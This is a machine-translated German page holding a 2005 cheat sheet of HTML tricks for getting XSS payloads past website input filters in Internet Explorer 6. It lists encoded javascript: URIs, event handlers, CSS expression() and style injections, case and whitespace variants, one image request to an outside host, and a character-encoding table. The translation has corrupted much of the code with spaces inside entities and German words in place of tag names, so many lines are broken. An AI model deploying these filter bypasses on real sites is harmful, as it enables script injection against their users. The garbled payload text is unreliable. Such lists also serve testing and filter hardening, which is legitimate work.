This page has been robot translated, sorry for typos if any. Original content here.

HTML-Syntaxfunktionen

Schöpfer: Algol , zFailure - die letzten Änderungen 13.06.2005

Eine der Hauptmethoden zum Schutz von Websites vor XSS-Sicherheitslücken ist die Verwendung verschiedener Filter für vom Benutzer eingegebene Zeichen. In diesem Beitrag werden HTML-Syntaxfunktionen beschrieben, mit denen Sie diese Filter umgehen können.

Es ist zu beachten, dass XSS-Schwachstellen vom Browser abhängig sind. Alle folgenden Beispiele wurden in IE6 getestet. In anderen Versionen oder in anderen Browsern funktionieren Beispiele möglicherweise ebenfalls nicht. Beispielsweise ist das umgekehrte Apostrophzeichen (`) nur in IE ein Attributtrennzeichen. Andere Browser, wie beispielsweise Opera, betrachten dieses Symbol nicht als Begrenzer.

  • Tag-Attribut-Begrenzer.
    Zusätzlich zum Leerzeichen dürfen die folgenden Zeichen verwendet werden: Schrägstrich ( / ), Tabulator, Zeilenumbruch. Das Trennzeichen darf weggelassen werden, wenn das vorherige Zubehör in Anführungszeichen steht.
     <image / src = "1.png" / alt = "Hint" / border = "0">
     <image src = "1.png" alt = "Hinweis" border = "0">
     <Bild
     src = "1.png"
     alt = "Hinweis"
     border = "0">
     <image src = "1.png" alt = "Hinweis" border = "0">
    
  • Tag-Attribut-Begrenzer
    Werte dürfen auch in den Apostrophen in Anführungszeichen (doppelt und einfach) gesetzt werden, nur der General darf nicht einschränken.
     <image src = "" alt = "Mein Tipp" border = "0">
     <image src = "" alt = 'Mein Hinweis' border = "0">
     <image src = "" alt = `Mein Tipp` border =" 0 ">
     <image src = "" alt = Hint border = "0">
    
  • Zeichenkodierungen
    Das Entschlüsseln von Zeichen in einem Skript erfolgt vor dessen Ausführung:
     <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97 & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 39 & # 41>
     <a href=javascript:alert(%22ok%22)> klick mich an </a> (nur im href- Attribut)
    
    
  • Begrenzer von Zeichenliteralen in Skripten
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Einige Zeichenfilter umgehen
     <img src = javascript: i = new / ** / Image (); i.src = 'http: //bla.bla'> (Ersetzen Sie das Leerzeichen durch / ** /)
    
    
  • Möglichkeiten zum Ausführen von Skripten
    Es gibt verschiedene Möglichkeiten, Skripte automatisch auszuführen:
     <script> alert ('ok') </ script>
     <script src = 1.js> </ script>
     <body onLoad = alert ('ok')>
     <meta http-equiv = Inhalt aktualisieren = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alert ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: url (javascript: alert ('ok'))>
     <span style = top: expression (alert ('ok'))> </ span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (funktioniert nur einmal)
    
     <style type = "text / css"> @import url (javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = url value = javascript: alert ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (nur im IE)
    
     <a href=javascript:alert(%22ok%22)> klick mich an </a> (nur ausführen, wenn auf den Link geklickt wird)
    
     <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')> klick mich </a> (nur ausführen, wenn du auf den Link klickst )
    
     <br SIZE="&{alert('XSS')}"> (nur Netscape 4.x)
    
    
  • Verschiedene Skriptprotokolle, Schreibweisen
     <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (Leerzeichen bis zum Wort javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <img src = Javascript & # 9: alert ()>
     <img src = Javascript & # 10: alert ()>
     <img src = Javascript & # 13: alert ()>
     <img src = "javascript: alert ()"> (bevor der Doppelpunkt ein Tabulator ist)
     
     <img src = "Java Scri
     pt: ale rt () "> (innerhalb des Wortes Javascript ist das Tabulatorzeichen auch ein Wagenrücklauf)
     
    
  • Skripteinfügungen mit Stil
    Skriptoperatoren im style- Attribut müssen durch " \; " geteilt werden.
     <hr style = `background: url (javascript: alert ('ok 1') \; alert ('ok 2'))`>
    
  • Spezielle Tags.
     <image src = "1.png" alt = "" border = "0"> (img-Tag funktioniert auch auf die gleiche Weise)
    
     <Klartext> (alles, was sich nach diesem Tag bewegt, wird als Klartext wahrgenommen - nicht als HTML)
    
     <textarea> (alles, was sich nach diesem Tag zu bewegen beginnt, wird als einfacher Text wahrgenommen - nicht als HTML)
    
     <xml> (alles, was später als dieses Tag verschoben wird, wird nicht angezeigt)
    
    
  • Tabelle häufig verwendeter Codes:

    Symbol Dezimalcodierung 16. Kodierung * Zeichenkodierung URL-Codierung
    " & # 34 & # x22; & quot; % 22
    ' & # 39 & # x27; % 27
    ` & # 96 & # x60; % 60
    <Leerzeichen> & # 32 & # x20; +
    <tab> & # 9 & # x09; % 09
    <Wagenrücklauf> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <kurzer Bindestrich> & # 173 & # xAD; & schüchtern % AD
    & & # 38 & # x26; & amp; % 26

    * - In einigen Fällen können Sie das Semikolon weglassen (wenn sich das Zeichen am Ende der Zeile befindet oder mehrere Zeichen in dieser Kodierung hintereinander stehen).

    Siehe verwandte: http://ha.ckers.org/xss.html
  • Es wäre nicht überflüssig für Ihre Freunde, diese Informationen herauszufinden und den Artikel mit ihnen zu teilen!

    Kommentare Kommentarfenster erweitern / minimieren erweitern / reduzieren

    Denken Sie daran, dass der Inhalt und der Ton Ihrer Nachricht die Gefühle von echten Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, auch wenn Sie deren Meinung nicht teilen. Ihr Verhalten unter Bedingungen der Meinungsfreiheit und Anonymität, die das Internet bietet, ändert sich nicht nur virtuell, sondern auch real. Alle Kommentare sind vor dem Index verborgen, Spam wird kontrolliert.
    Gefällt es dir Abonnieren Sie RSS- Feeds,
    die ersten sein, die Informationen erhalten
    über alle wichtigen Ereignisse des Landes und der Welt.
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: